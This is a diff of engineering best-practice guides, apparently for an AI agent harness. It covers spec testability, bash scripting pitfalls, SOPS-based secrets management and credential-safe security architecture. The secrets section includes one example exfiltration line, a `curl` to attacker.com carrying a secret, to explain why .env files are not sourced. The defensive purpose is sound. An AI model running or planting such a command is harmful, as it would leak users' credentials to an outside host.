+Tests requiring a live Docker daemon or K8s API MUST be marked
+`@pytest.mark.integration` and are excluded from the standard `pytest` run.
+Unit tests use mocks only.
+```
+
+Then, within requirements, call it out:
+
+```markdown
+- **MP-E-2:** [...] On Docker: [requires Docker daemon — integration test].
+  On K8s: [K8s Job init container — assert Job spec structure; unit-testable].
+```
+
+**Why:** The integration boundary determines which tests a generator should write as `unittest.mock.MagicMock`-based unit tests and which it should scaffold as `@pytest.mark.integration`. Getting this wrong produces either false-passing unit tests (mocks that don't reflect reality) or a test suite that only runs in CI with full infrastructure.
+
+---
+
+## 3. State Library Semantics Explicitly — Don't Just Name the Library
+
+**Problem:** `"Semver patterns parse <spec> as packaging.specifiers.SpecifierSet"` tells a test generator which library to use but not what it does with edge cases. A test generator doesn't know that `python:3.12-slim` never matches `python:>=3.10.0` because `3.12-slim` isn't a valid PEP 440 version.
+
+**Practice:** When a spec requirement depends on a library's behavior, state the behavior — don't assume the reader knows the library:
+
+```markdown
+- **MP-C-2:** [...] if the image's tag cannot be parsed as a PEP 440 version
+  (e.g., `:slim`, `:alpine`, `:3.12-slim`) it never matches a semver-range
+  pattern — only exact-string or glob patterns can match it.
+```
+
+**Why:** This directly produces a test case: `assert not validate_image("python:3.12-slim", ImagePolicy(whitelist=[ImagePattern("python:>=3.10.0")]))`. Without the explicit statement, this edge case is invisible.
+
+**General rule:** For any external library used in a requirement, add one sentence covering the non-obvious edge case (empty input, non-matching type, error path). This sentence is the test case.
+
+---
+
+## 4. Replace "Implementation Detail" with a Concrete Interface
+
+**Problem:** `"The CP MUST query the dispatcher pool (implementation detail)"` is untestable. A test generator can't mock an interface it doesn't know exists.
+
+**Practice:** Every requirement must specify enough of the interface to write a mock. If the implementation is genuinely flexible, pick one concrete approach and say "implementation note: may be done via X or Y, but tests should use X":
+
+Before (untestable):
+```markdown
+- **MP-D-3:** The CP validates secrets at expansion time against the
+  dispatcher pool (implementation detail).
+```
+
+After (testable):
+```markdown
+- **MP-D-3:** `DispatcherRecord` gains `available_secrets: list[str] = []`.
+  At expansion time, CP computes `advertised = {s for d in active_dispatchers
+  for s in d.available_secrets}`. Tests: inject mock `DispatcherRecord`
+  objects with known secret sets and assert expansion succeeds or fails.
+```
+
+**Why:** "Implementation detail" in a spec is a deferred decision that the test generator can't resolve. Deferred decisions produce skipped or wrong tests.
+
+---
+
+## 5. Make Error Messages First-Class Spec Artifacts
+
+**Problem:** A test generator can only write `pytest.raises(ValueError)` without knowing what message to match. That produces weak tests that pass on the wrong exception.
+
+**Practice:** Put exact error message templates in the requirement itself (not just the error-handling table):
+
+```markdown
+- **MP-A-6:** [...] load-time error with the message
+  `"unsupported pre_action type for script step: <type> (M15 supports only 'clone')"`.
+```
+
+And maintain a consolidated error-handling table as a second artifact:
+
+```markdown
+| Condition | Error | Where raised |
+|---|---|---|
+| Pre-action type other than `clone` | `ValueError("unsupported pre_action type...")` | `process_loader` at load |
+```
+
+The test generator uses the requirement text for the test body and the table as a cross-reference index. Together they produce:
+
+```python
+def test_mp_a6_unsupported_preaction_type():
+    with pytest.raises(ValueError, match="unsupported pre_action type for script step: commit_pr"):
+        load_template(template_with_commit_pr_preaction)
+```
+
+**Why:** Exact message matching catches regressions where the exception type is right but the message has changed (e.g., a refactor that weakens the error context). Without message-level matching, tests let silent regressions through.
+
+---
+
+## 6. Pattern Tables Are Parametric Test Matrices
+
+**Problem:** Specs list pattern syntax in a table (glob, semver, exact, digest). A test generator produces one test per form if it can't see the table as test data.
+
+**Practice:** Write pattern tables so they directly map to `@pytest.mark.parametrize` arguments. Include at least one positive and one negative example per form, plus the key edge case:
+
+```markdown
+| Pattern form | Example image | Matches? | Why |
+|---|---|---|---|
+| Glob | `docker.io/*` | `docker.io/python:3.12.3` | ✓ |
+| Glob | `docker.io/*` | `ghcr.io/python:3.12` | ✗ |
+| Semver | `python:>=3.10.0,<4.0.0` | `python:3.12.3` | ✓ |
+| Semver | `python:>=3.10.0,<4.0.0` | `python:3.12-slim` | ✗ non-PEP-440 |
+| Exact | `python:3.12.3` | `python:3.12.3` | ✓ |
+| Exact | `python:3.12.3` | `python:3.12` | ✗ |
+| Digest | `python@sha256:abc` | `python@sha256:abc` | ✓ |
+| Digest | `python@sha256:abc` | `python@sha256:def` | ✗ |
+```
+
+**Why:** This table is the test matrix. A test generator reads it directly into `@pytest.mark.parametrize`. Without it, edge cases (non-PEP-440 semver, digest-with-tag) are typically missed.
+
+---
+
+## 7. Scenarios Are the Highest-Value Input — Write Them Last
+
+Scenarios (GIVEN/WHEN/THEN) are the test generator's most direct input — they map 1:1 to Arrange/Act/Assert. But they're only as useful as the requirements they exercise. Write scenarios after finalising requirements, picking the cases that cross subsystem boundaries or combine multiple requirements:
+
+- Valid end-to-end path (happy path)
+- Atomic failure (no partial state created)
+- Security rejection (path traversal, sandbox violation, policy denial)
+- State machine edge (cancellation mid-run, timeout)
+- Idempotency (ensure_pvc called twice, delete_pvc on 404)
+
+Avoid scenarios that duplicate a single-requirement unit test. Reserve them for interactions.
+
+---
+
+## 8. Assess Testability Before Dispatching a Test Writer
+
+Before dispatching a `test-writer` agent (or running a mechanical test-generation pipeline), do a module-by-module testability review:
+
+| Module characteristic | Testability | Approach |
+|---|---|---|
+| Pure function (no I/O, no state) | High | Parametric unit tests direct from spec |
+| Pydantic model with validators | High | One test per validator branch |
+| External library with defined behavior | High (if spec states semantics) | Parametric from pattern/enum tables |
+| CP/store interaction (mocked) | Medium | Inject mock store; assert task creation |
+| Dispatcher with concrete interface (mocked) | Medium | Mock backend; assert call args |
+| Real Docker container (clone, run) | Low — integration boundary | `@pytest.mark.integration` only |
+| K8s API (PVC, Job, Secret) | Low — integration boundary | Mock k8s client for unit; real cluster for integration |
+| Multi-step state machine | Low | End-to-end test; needs full dispatcher mock |
+
+The review catches spec gaps (untestable "implementation detail") before a test writer spends tokens on them.

harnesses/contexts/best-practices/v1/best-practices/scripting.md

@@ -0,0 +1,96 @@
+# Scripting Conventions
+
+## Structure
+
+- All scripts live in `scripts/` and run from the repository root
+- Scripts should be idempotent and safe to re-run
+- Exit non-zero on failure so `&&` chains work naturally
+
+## Verification Scripts
+
+- Automated checks confirming milestone or feature outcomes
+- Use colour output (green/red) for pass/fail indicators
+- Should be non-destructive and environment-resilient
+- Avoid needing sudo — test from the accessible side of a connection instead
+- Check for default/insecure credentials and print remediation instructions on failure
+- Use `curl --resolve` to bypass DNS/proxy layers when testing direct connectivity
+- **Never use `set -e` in verification scripts.** A verify script's job is to run ALL checks and report a summary. `set -e` exits on the first failure, hiding remaining issues. Use explicit conditional checks and a pass/fail counter instead. Note: `((var++))` under `set -e` is a classic bash trap — pre-increment of 0 evaluates to falsy, triggering errexit. Use `var=$((var + 1))`.
+
+## Automation Triggers
+
+If you run the same 3+ commands in sequence more than once, it should become a script. Look for:
+- Repeated command sequences in conversation history
+- Steps requiring careful ordering
+- Multi-step manual processes that are error-prone
+
+## Error Handling by Tool Purpose
+
+Not all scripts need the same error handling strategy:
+- **Destructive scripts** (deploy, configure, delete) should use `set -euo pipefail` — fail fast on any error.
+- **Reporting/read-only scripts** (status dashboards, aggregation, monitoring) should start without `set -e` — complex data collection from multiple sources is hard to debug under errexit. Use explicit conditional checks instead.
+- **The choice depends on the tool's purpose.** A script that writes to production needs strict error handling. A script that reads from 10 sources and aggregates results needs resilience.
+
+## Dryrun Mode
+
+Every script that modifies state should support `--dryrun` / `-n`:
+- Makes the script self-documenting about its side effects
+- Enables safe testing and review before execution
+- Enables test harnesses that verify output without executing changes
+- Dryrun output should show exactly what would happen, not a summary
+
+## Shell Gotchas
+
+- `((PASS++))` fails under `set -e` when PASS=0 — the expression evaluates to 0 (false), triggering errexit. Use `PASS=$((PASS + 1))` instead.
+- `set -e` silently terminates complex pipelines and subshells with no output — makes debugging extremely difficult. Also kills command substitutions that capture non-zero exit codes (e.g., `result=$(grep "pattern" file)` exits if grep finds nothing).
+- `grep` interprets option-like strings (starting with `-`) as flags — use `--` terminator before patterns or input that may start with dashes.
+- Always quote variables in conditionals and file paths
+- Use `trap` for cleanup of temp files and credentials
+- **Use `git diff --numstat` for binary file detection** instead of `file`. The `file` command is unreliable (marks shell scripts as "executable"), while `git diff --numstat` shows `-` for binary files using git's robust binary detection heuristics.
+- **Use `cat -A` to diagnose invisible character issues.** Reveals non-printing characters like em dashes, zero-width spaces, and smart quotes that look identical to correct characters but break YAML parsers, config files, and frontmatter. Essential when a file looks correct but tooling rejects it.
+- `grep` returns exit code 1 when no lines match — under `set -e`, this kills the script even when zero matches is a valid outcome. Append `|| true` to `grep` commands in pipelines where empty results are expected.
+- `while read` in a pipeline creates a subshell — variables modified inside the loop (counters, accumulators) are lost after the loop ends. Use process substitution (`while read line; do ...; done < <(command)`) or here-strings to keep the loop in the current shell.
+- **Order matters in sed/regex transformation pipelines.** Process more specific patterns before general ones. For example, if both `![[image.png]]` and `[[page]]` are valid patterns, process the image embed first — otherwise the general wikilink regex matches the inner `[[image.png]]` and the `!` prefix is left orphaned.
+- **Bare `except: pass` swallows `SystemExit` in Python.** `sys.exit(0)` inside a bare `except: pass` block is captured as a `SystemExit` exception and silently swallowed — the script continues instead of exiting. Use specific exception types in except clauses, or use `break`/`return` for loop early-exit, or re-raise after checking `isinstance(e, SystemExit)`. Applies to any script with loops that short-circuit on a condition inside exception handling.
+- **Never use `GROUPS` (or other reserved names) as a bash variable.** `GROUPS` is pre-set by bash completion and session initialisation with numeric group IDs — assignment appears to succeed but the pre-existing value often persists in sourcing contexts, producing bizarre "array iterates over 1000, 24, 27..." bugs. Other reserved/built-in names to avoid: `UID`, `EUID`, `PWD`, `OLDPWD`, `SHLVL`, `RANDOM`, `SECONDS`, `LINENO`, `PIPESTATUS`, `IFS`. Prefix project variables (`PROJECT_GROUPS`, `TEMPLATE_SLUGS`).
+- **Inline `VAR=val cmd "$VAR"` expands the pre-existing value, not the new one.** Bash inline env-var assignment sets `VAR` for the child process, but `$VAR` in argument position is expanded by the **calling** shell using its existing (often empty) value. The trap:
+  ```bash
+  CP_TOKEN=$(get_token) curl -H "Authorization: Bearer $CP_TOKEN" ...   # sends empty header
+  ```
+  The Authorization header is empty because `$CP_TOKEN` is expanded before `CP_TOKEN=$(get_token)` takes effect. **Fixes:**
+  ```bash
+  export CP_TOKEN=$(get_token)                                              # set on a prior line
+  curl -H "Authorization: Bearer $CP_TOKEN" ...
+  # — or —
+  curl -H "Authorization: Bearer $(get_token)" ...                          # inline substitution at use site
+  ```
+  Doesn't affect Python subprocesses launched with `env=...` because `os.environ` reads at runtime, not at command-parse time. Costs ~30 minutes per occurrence; common in CLI-tool authentication wrappers. See [Secrets Management](secrets-management.md) "Never Source .env Files" for the related safe-parser pattern when handling `.env`-style files.
+- **`git mv <src> <dest>/<sub>` won't create missing parent directories.** `git mv admin static/admin` fails with `renaming 'admin' failed: No such file or directory` when `static/` doesn't exist yet, even though `admin/` does. Create the parent first: `mkdir static && git mv admin static/admin`.
+
+## Grep All Consumers Before Removing or Keeping a Field
+
+Before deleting — or deciding to keep — a config field, env var, or interactive prompt, grep every consumer across the tree (`grep -r VAR_NAME .` / `~`). Two outcomes: (1) dead fields accumulate silently when nothing reads them — the grep proves they're unused and safe to remove; (2) for fields you keep or rename, the grep enumerates every downstream file needing a matching edit (templates, status lines, other scripts), so you don't ship a half-applied rename. Auditing consumers is cheaper than shipping a change that leaves orphaned references.
+
+## JSON Construction in Scripts
+
+Use Python (not shell) for constructing JSON payloads. Multi-line prompts with quotes, backticks, and special characters break shell-based JSON construction (printf/sed/heredocs). Python's `json.dump` handles escaping correctly every time. For scripts that need to construct and submit JSON payloads, write the construction logic in Python even if the rest of the script is bash. For long agent prompts, `--prompt-file` with temp files is cleaner than heredocs — writing prompts to `/tmp/*.md` files avoids shell escaping issues and enables review before submission.
+
+**Build payloads in a variable first — never nest `$(...)` with mixed quoting.** Patterns like `response=$(octopus_post "/endpoint" "$(python3 -c "...$var")")` silently mangle variable values inside the inner substitution. Always assign the JSON body to a variable, then pass the variable:
+
+```bash
+body=$(python3 -c "import json; print(json.dumps({'name': '$name'}))")
+response=$(octopus_post "/endpoint" "$body")
+```
+
+**Helper functions must send status messages to stderr.** If a helper both returns a value on stdout and prints progress (`echo`, `ok`, `info`), the captured stdout will contain the status text mixed with the return value. Send status to stderr: `ok "msg" >&2`, so callers capturing stdout get only the return value.
+
+## Markdown-to-PDF Pipeline (pandoc / ODT / LibreOffice)
+
+Key gotchas when building branded PDFs from markdown via pandoc + ODT + LibreOffice:
+
+1. **Pandoc treats standalone `---` lines as YAML frontmatter delimiters.** Replace horizontal rules with `* * *` after the frontmatter block so pandoc doesn't misparse the document.
+2. **Avoid Unicode in YAML frontmatter string values.** Em-dashes and other non-ASCII characters in frontmatter cause pandoc parse failures — use plain ASCII or escape.
+3. **Never use shell `sed` on ODF XML.** ODF uses namespaces (`fo:`, `style:`) that sed can't target reliably. Use Python `xml.etree.ElementTree` with namespace registration.
+4. **`--toc` leaves the TOC body empty in headless builds.** Pandoc creates the TOC element but leaves `<text:index-body>` empty, and LibreOffice headless doesn't populate it. Build TOC entries directly in XML.
+5. **Prefer direct XML manipulation over python-uno.** python-uno socket servers are unreliable in headless builds.
+6. **Cover-page page-number suppression requires a master-page chain.** Use a `CoverPage` master with `next-style-name = "Standard"`, not a single page style.
+7. **Prefer Python over shell `sed` for markdown compilation with footnotes/references.** Escaping and multi-line handling is far more reliable.

harnesses/contexts/best-practices/v1/best-practices/secrets-management.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/secrets-management.md

harnesses/contexts/best-practices/v1/best-practices/secrets-management.md

@@ -0,0 +1,164 @@
+# Secrets Management
+
+## SOPS + age
+
+SOPS with age encryption is the standard across all projects. A single `.sops.yaml` at the repo root defines path-based encryption rules.
+
+### File Naming
+
+- `.sops.yaml` path-based rules match specific filename patterns (e.g., `**/*secret*.yaml`)
+- Non-secret files must NOT contain `secret` in their name, or the pre-commit hook will encrypt them
+- KSOPS generator files should be named `ksops-generator.yaml`, not `secret-generator.yaml`
+
+### encrypted_regex Gotcha
+
+When using `encrypted_regex` for selective field encryption (e.g., Ansible group_vars), variable names must contain a keyword that matches the regex (e.g., `password|private_key|api_key|secret|token`). Arbitrary key names are silently left unencrypted.
+
+### SOPS Vars Plugin
+
+Each Ansible project needs `vars_plugins_enabled = host_group_vars,community.sops.sops` in `ansible.cfg`. Files in `group_vars/` must be named after a group (e.g., `all.sops.yaml`), not arbitrary names.
+
+### Interactive Editor Pitfalls
+
+- `sops <file>` opens an interactive editor — fails in non-interactive sessions
+- `sops -e /tmp/file` fails when the temp path doesn't match `.sops.yaml` rules
+- Multiple `sops --set` calls can corrupt files — use the interactive editor for multi-field edits
+
+## Credential Handling
+
+- **Never pass secrets via command-line arguments** — visible in `ps` output to any process in the PID namespace, including other containers sharing the namespace
+- Use `@file` references, environment variables sourced at runtime, or stdin
+- For Ansible, use temp files with `trap rm` cleanup: `-e "@${tmpfile}"`
+- Read secrets at execution time and use them ephemerally — never cache or persist values
+- Reference the **existence** of a secret file in docs, never its contents
+
+### Container Entrypoints
+
+The `ps`-visibility problem is especially easy to hit in container entrypoints that wrap a CLI tool. Passing credentials as argv is visible to every process in the PID namespace. Pattern:
+
+1. Write the credential to a temp file inside the container
+2. Use the tool's file-based import flag (e.g. `workspace import <file>`, `--credentials-file`, `@file`)
+3. `rm -f` the temp file before exec-ing the main process
+
+Prefer stdin, env vars, or `@file` references over argv in every entrypoint script.
+
+### Secrets in `kubectl exec` One-Liners
+
+The same argv-visibility rule applies to ad-hoc debugging, not just entrypoints. `kubectl exec <pod> -- sh -c "... TOKEN=${X} ..."` places the secret in the pod's `ps` output (visible to every process in that PID namespace) and trips argv-based secret classifiers/blockers. Instead, write a small helper script to a scratch path and pass the value via stdin, and use the target tool's file-reference flag (e.g. `bao kv patch ... KEY=@/path/to/file`) rather than inline values.
+
+## Bootstrap Secrets
+
+Some secrets are chicken-and-egg (e.g., the age decryption key for ArgoCD's KSOPS). These must be created manually as a bootstrap step and documented clearly.
+
+### Read Runtime Bootstrap Secrets from Their Live Store, Never Copy Them
+
+Bootstrap/root/unseal credentials for a secrets backend (Vault/OpenBao root token, unseal keys) deliberately do not live in the general secrets directory. They live only in their runtime store — typically a Kubernetes Secret created at init — and are read on demand at execution time:
+
+```
+kubectl -n <ns> get secret <unseal-secret> -o jsonpath='{.data.<field>}' | base64 -d | <parse-the-json-field>
+```
+
+Document only *where* the credential lives and how to retrieve it — never copy the value into a memory file, the secrets directory, or any other file. Retrieving it ephemerally at point of use is the pattern; persisting a second copy defeats the single-source-of-truth and widens blast radius.
+
+## Credential Lifecycle Management
+
+- **Track credential expiry dates.** OAuth client secrets, API tokens, and certificates have expiry dates that can cause silent failures. Document expiry dates when creating credentials.
+- **Set alerts before expiry.** For long-lived credentials (e.g., 720-day OAuth client secrets), set calendar reminders or automated monitoring alerts well before they expire.
+- **Rotation plan.** Know the rotation procedure before you need it — some credential types (e.g., Azure app registrations) require coordinated updates across multiple systems.
+
+## Multi-Field Secret Files
+
+Secret files that contain multiple fields (e.g., repo URL, token, username) cannot be used as bare values. Consumers must parse individual fields (e.g., `grep + awk` or structured YAML/JSON parsing).
+
+The multi-field format is preferable because it's self-documenting — all related credentials live together. But any automation reading the file needs extraction logic, not just `cat`.
+
+## Generating Secrets with gen-secret
+
+Use the `gen-secret` script (from `small-scripts`, symlinked to `~/sbin/gen-secret`) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping. The charset explicitly excludes URL-unsafe characters (`@`, `:`, `/`, `^`, `+`, `~`) to prevent connection string parsing failures.
+
+### Workflow: Generate + SOPS Encrypt
+
+1. **Generate the secret value** — use `gen-secret` with an appropriate length:
+   ```bash
+   SESSION_SECRET=$(gen-secret 48)    # 48-char session key
+   API_KEY=$(gen-secret 20)           # 20-char access key
+   API_SECRET=$(gen-secret 40)        # 40-char secret key
+   ```
+
+2. **Write plaintext YAML to the target path** — the file must be at the path matched by `.sops.yaml` rules (e.g., `**/*secret*.yaml`):
+   ```bash
+   cat > path/to/my-secret.sops.yaml <<EOF
+   apiVersion: v1
+   kind: Secret
+   metadata:
+     name: my-credentials
+     namespace: my-namespace
+   type: Opaque
+   stringData:
+     SESSION_SECRET: ${SESSION_SECRET}
+     API_KEY: ${API_KEY}
+   EOF
+   ```
+
+3. **Encrypt in-place** — SOPS reads `.sops.yaml` to determine the encryption key and regex:
+   ```bash
+   sops -e -i path/to/my-secret.sops.yaml
+   ```
+
+4. **Verify** — decrypt and confirm no placeholders remain:
+   ```bash
+   sops -d path/to/my-secret.sops.yaml
+   ```
+
+### Key Points
+
+- **Always encrypt at the target path.** `sops -e /tmp/file.yaml` fails because `/tmp/` doesn't match `.sops.yaml` path rules. Write the plaintext to the final location, then `sops -e -i` in-place.
+- **Use shell variables, not files, for ephemeral secrets.** Generate into a variable (`SECRET=$(gen-secret 48)`), interpolate into the YAML, then encrypt. The plaintext never touches disk as a standalone file.
+- **Appropriate lengths:** 32 chars is the default and sufficient for most use cases. Use 48+ for session secrets, 20 for access key IDs, 40 for secret keys (matching common API patterns).
+- **For credentials from external systems** (e.g., Gitea API tokens, registry passwords), read them from `~/dev/claude/secrets/` at point of use — don't generate random replacements for values that must match an external system.
+- **Clean up temp files** if you write plaintext to a temporary location. Use `trap` cleanup or `rm -f` after encryption.
+
+### Replacing Placeholder Secrets
+
+When SOPS-encrypted files contain placeholder values (e.g., `PLACEHOLDER_SESSION_SECRET`):
+
+1. Decrypt: `sops -d secret.sops.yaml` — inspect current values
+2. Write the corrected plaintext YAML to the same path (overwriting the encrypted file)
+3. Re-encrypt: `sops -e -i secret.sops.yaml`
+4. Verify: `sops -d secret.sops.yaml | grep -c PLACEHOLDER` — should return 0
+
+## Backup Considerations
+
+Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.
+
+## Never Source .env Files in Security-Sensitive Contexts
+
+Shell `source` on .env files executes arbitrary commands — a crafted file with `$(curl attacker.com/exfil?key=$SECRET)` would exfiltrate secrets. Use a safe line-by-line parser that only exports lines matching strict KEY=VALUE format: `while IFS= read -r line; do [[ "$line" =~ ^[A-Z_][A-Z0-9_]*= ]] && export "$line"; done < file.env`. This is especially important in container init scripts and wrapper scripts that process credential files.
+
+## URL-Safe Password Generation
+
+Generated passwords that appear in connection strings (DATABASE_URL, AMQP URLs, etc.) must use URL-safe characters only: `A-Za-z0-9._-`. Characters like `^`, `@`, `:`, `/`, `+` break URL parsing in libraries like SQLAlchemy. Prevention via charset restriction is simpler and more reliable than URL-encoding passwords after generation.
+
+## Scope Secret Delivery Per-Workload
+
+When a harness or container environment makes secrets available (SSH keys, API tokens, credentials mounts), scope each secret to the specific workloads that need it. Global forwarding — mounting all credentials into every container or injecting all secrets into a shared env — leaks credentials to workloads that shouldn't have them.
+
+**Anti-pattern:** Inject the Gitea admin token, Anthropic API key, and SSH private key into every agent container regardless of task.
+
+**Pattern:** Use capability harness layers that compose per-task. A spec-planning task gets the planning context + SSH key. A code-review task gets the code-review context + API token. A read-only analysis task gets no write credentials at all.
+
+This also limits blast radius when an agent is compromised or misbehaves — it can only escalate within the credentials it was explicitly given.
+
+## Admin vs User API Tokens — Verify `is_admin` Before Assuming Scope
+
+Not every token labelled "admin" has the platform's `is_admin` flag. Gitea's `cluster-administrator` user is a cluster admin but not a site admin — its token returns 403 on admin-API endpoints.
+
+**When a token fails with 403 on admin endpoints:**
+
+1. Don't assume the token is wrong or expired
+2. Check `GET /users/<owner>` — look for `"is_admin": true` on the owning user
+3. If `is_admin: false`, the token's owner lacks the platform privilege; a different user's token is required
+
+**Gitea `Sudo` header quirk:** creating tokens on behalf of other users via the `Sudo` header returns 401 with a token. Use basic auth for that specific operation.
+
+The general lesson: "admin" is overloaded (org admin vs site admin vs cluster admin vs repo admin). Always confirm which scope a token actually carries before blaming the token.

harnesses/contexts/best-practices/v1/best-practices/security-architecture.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/security-architecture.md

harnesses/contexts/best-practices/v1/best-practices/security-architecture.md

@@ -0,0 +1,158 @@
+# Security Architecture
+
+## The Server Boundary Rule
+
+**No server-side credential may cross the server boundary to the client. Ever.**
+
+This is a hard line, not a guideline. The only credentials that cross the boundary between client and server are the client's own identity credentials (MFA tokens, login passwords, OIDC tokens, etc.) — and these flow from client to server, never the reverse.
+
+### What this means in practice
+
+- **API tokens stay server-side.** If a browser-based application needs to call a third-party API (Gitea, S3, database, etc.), it calls a backend proxy that holds the token. The token never appears in JavaScript, localStorage, cookies, or any client-accessible storage.
+- **Service account credentials stay server-side.** Database passwords, S3 access keys, webhook secrets, SMTP credentials — these are mounted into server-side containers via Kubernetes Secrets or environment variables and never exposed to clients.
+- **OAuth tokens for third-party services stay server-side.** If a user authenticates with Service A and the application needs to call Service B on their behalf, the application's backend holds the Service B credentials. The client only ever sees its own session token with the application.
+- **Per-user tokens mapped server-side.** When individual users need distinct third-party access (e.g., per-user Gitea tokens for audit trails), the mapping from user identity to their token lives on the server. The client authenticates with its own identity (e.g., via Authelia MFA), and the server looks up the appropriate third-party token.
+
+### The identity exception
+
+The only credentials that legitimately cross from client to server:
+
+- **Username + password** — the user's own login credentials
+- **MFA tokens** — TOTP codes, WebAuthn assertions, security key responses
+- **OIDC/OAuth tokens** — tokens that represent the user's identity with the application itself (not with third-party services)
+- **Session cookies/JWTs** — issued by the server to represent an authenticated session
+
+These all share the property: they are the user's own identity, flowing from client to server for authentication purposes.
+
+### Architecture pattern: proxy with identity mapping
+
+When a client-side application (SPA, CMS, admin UI) needs to interact with a backend service that requires credentials:
+
+```
+Client ──→ Auth Layer (MFA) ──→ API Proxy ──→ Backend Service
+                                  │
+                                  ├── Reads user identity from auth headers
+                                  ├── Looks up user's backend credential
+                                  ├── Forwards request with backend credential
+                                  └── Returns response (without credential)
+```
+
+The proxy:
+1. Sits behind the authentication layer (Authelia, OAuth2 Proxy, etc.)
+2. Reads the authenticated user's identity from trusted headers (e.g., `Remote-User`)
+3. Maps the identity to the appropriate backend credential
+4. Makes the backend API call with the credential
+5. Returns the response — never the credential
+
+### Security layers (defense in depth)
+
+A well-designed proxy architecture has multiple independent security layers:
+
+1. **Authentication** — User must prove their identity (MFA, OIDC)
+2. **Session validation** — Proxy validates the session is current and legitimate
+3. **Authorization** — Proxy checks the user has access to the requested resource
+4. **Backend permissions** — The backend service enforces its own access controls
+5. **Branch/scope protection** — Fine-grained controls prevent privilege escalation (e.g., branch protection rules)
+
+Each layer is independent — compromising one doesn't bypass the others.
+
+### Anti-patterns
+
+- **Passing API tokens to the browser via OAuth.** Even with PKCE, the token ends up in client-accessible storage. Use a backend proxy instead.
+- **Shared service account tokens.** One token for all users means no audit trail and no granular revocation. Map per-user tokens server-side.
+- **Embedding credentials in client-side config.** API keys in `config.js`, `.env` files served statically, or hardcoded in HTML — all violate the boundary rule.
+- **Forwarding backend tokens via API responses.** Even "temporarily" returning a token in a response body breaks the rule. The client should never see it.
+- **Using the same token for client auth and backend calls.** The user's session token with your application is distinct from any token your application uses to call backend services.
+
+### When credentials must be client-side
+
+Some scenarios genuinely require client-side credentials (e.g., direct S3 uploads for large files, WebRTC signaling). In these cases:
+- Use **presigned URLs** or **temporary credentials** with the narrowest possible scope and shortest possible lifetime
+- The presigning/credential-issuance happens server-side
+- The temporary credential is scoped to exactly one operation (e.g., upload one file to one path)
+- Log the issuance server-side for audit
+
+### Real-world example: CMS editing
+
+**Wrong:** CMS authenticates directly with Gitea via OAuth popup. Gitea token lands in browser localStorage. CMS makes API calls directly to Gitea with the token.
+
+**Right:** CMS sits behind Authelia (MFA). A proxy service intercepts the OAuth flow, issues a proxy session token (containing only the user's identity), and forwards all API calls to Gitea using a per-user server-side Gitea token. The Gitea token never leaves the server.
+
+### Browser-Side OAuth Popup: COOP Severs `window.opener`
+
+When a client-side app (CMS admin UI, SPA) runs an OAuth popup flow and the callback redirects through a different origin (e.g., an auth proxy on another subdomain), the Cross-Origin-Opener-Policy (COOP) mismatch severs `window.opener`. The popup can no longer `postMessage` its result back to the opener, and the parent's popup-detection logic (commonly `window.opener?.origin === location.origin && window.name === 'auth'`) silently fails — producing zero token exchanges and, if the callback falls through to re-init the login flow, an infinite popup loop.
+
+Mitigations:
+- Set `COOP: same-origin-allow-popups` on the page that opens the popup; keep COOP off the cross-origin callback/proxy page.
+- Handle the OAuth callback explicitly: when `?code=&state=` are present, always `return` after processing — never fall through to auto-init/auto-click, which is what amplifies a broken flow into an infinite loop.
+- When `window.opener` is severed, deliver the auth result via a `BroadcastChannel` fallback. Re-dispatch it as a synthetic `MessageEvent` so the framework's existing handler fires without patching third-party (often minified) source.
+
+This is the browser-mechanics complement to the server-boundary rule above: even with a correct backend proxy, the popup handshake itself breaks on COOP. Check security headers (COOP/COEP) early when a login popup silently never completes — before investigating sessions, cookies, or backend state.
+
+## Multi-Tenant Isolation Guard on Outbound Writes
+
+When a service writes into per-tenant destinations — customer Slack channels, per-customer boards, per-org webhooks, tenant-scoped buckets — route every outbound write through a single **IsolationGuard** module.
+
+### What the guard validates
+
+For every outbound write, the guard checks:
+
+1. **Destination ownership** — the target channel/board/webhook belongs to the tenant the write is scoped to
+2. **Payload cross-references** — the payload does not reference other tenants by name or ID (string match against the known tenant list)
+3. **Cross-tenant field stripping** — fields known to carry cross-tenant context (internal descriptions, linked-issue titles, audit trails) are removed or redacted before leaving the service
+
+### Why centralise it
+
+Per-tenant isolation is only testable if there is one place to exercise. If each call site inlines its own "scope this write" logic, cross-tenant leak tests must cover every call site and every future one. A single guard module:
+
+- Gives tests one surface to fuzz with adversarial payloads
+- Makes it impossible to ship a new outbound path that forgets the check (the guard is the only API)
+- Centralises logging for any blocked write — leaks become observable, not silent
+
+### Pattern
+
+```
+CallSite ──→ IsolationGuard.send(tenant_id, destination, payload)
+                  │
+                  ├── Validate destination ∈ tenant_id's destinations
+                  ├── Scan payload for other tenants' names/IDs
+                  ├── Strip cross-tenant fields per schema
+                  ├── Log (tenant_id, destination, redacted fields)
+                  └── Dispatch to underlying transport
+```
+
+No call site should import the underlying transport directly. Lint or grep for direct imports as a CI check.
+
+## File-Only Secret Delivery for Long-Lived Processes
+
+For any container or process running longer than a few minutes, deliver secrets via tmpfs-backed file mounts (mode 0400, owned by root or the secrets operator), never via environment variables. Env vars leak into:
+
+- `ps -auxe` and `/proc/<pid>/environ` for any process in the PID namespace
+- Log aggregators (anything that captures the process tree)
+- Accidentally-echoed error output (`echo "config: $DATABASE_URL"` leaks the secret to stdout)
+- Child processes that inherit the environment by default
+
+Env-var delivery is acceptable only for short-lived (<60s) ephemeral tasks where the exposure window is bounded and no other workloads share the PID namespace.
+
+**Defense-in-depth pattern (External Secrets Operator + init):**
+
+1. ESO mounts the Secret at `/var/run/secrets/...` as mode 0400, owned by root (controller's service account)
+2. The pod's init container stages a 0600 copy to a path owned by the application's UID
+3. The application reads from disk at invocation time, not at startup — so rotation lands without restart
+
+**Two-layer scoping:** the ESO mount is the source-of-truth; the init copy is the application-readable view. A compromised application can read its copy but cannot read the ESO source. A compromised init container does not survive past startup.
+
+## Server Never Holds the Private Key — CSR-Based Flow for Server-Issued Identity
+
+When a server issues identity material to a client (mTLS cert, agent signing key, per-request token), design the protocol so the server signs a CSR rather than generating the keypair.
+
+**Rationale:** Most managed-runtime languages (CPython, Java, Go via reflection) cannot reliably zeroise private bytes. CPython strings are immutable; there is no `memset` equivalent; GC residue, copy-on-write, and string interning all leave secret material in addressable memory after "deletion." Once the server has held the private key in process memory, you cannot prove it is gone.
+
+**Flow:**
+
+1. Client generates the keypair locally via the standard `cryptography` primitives
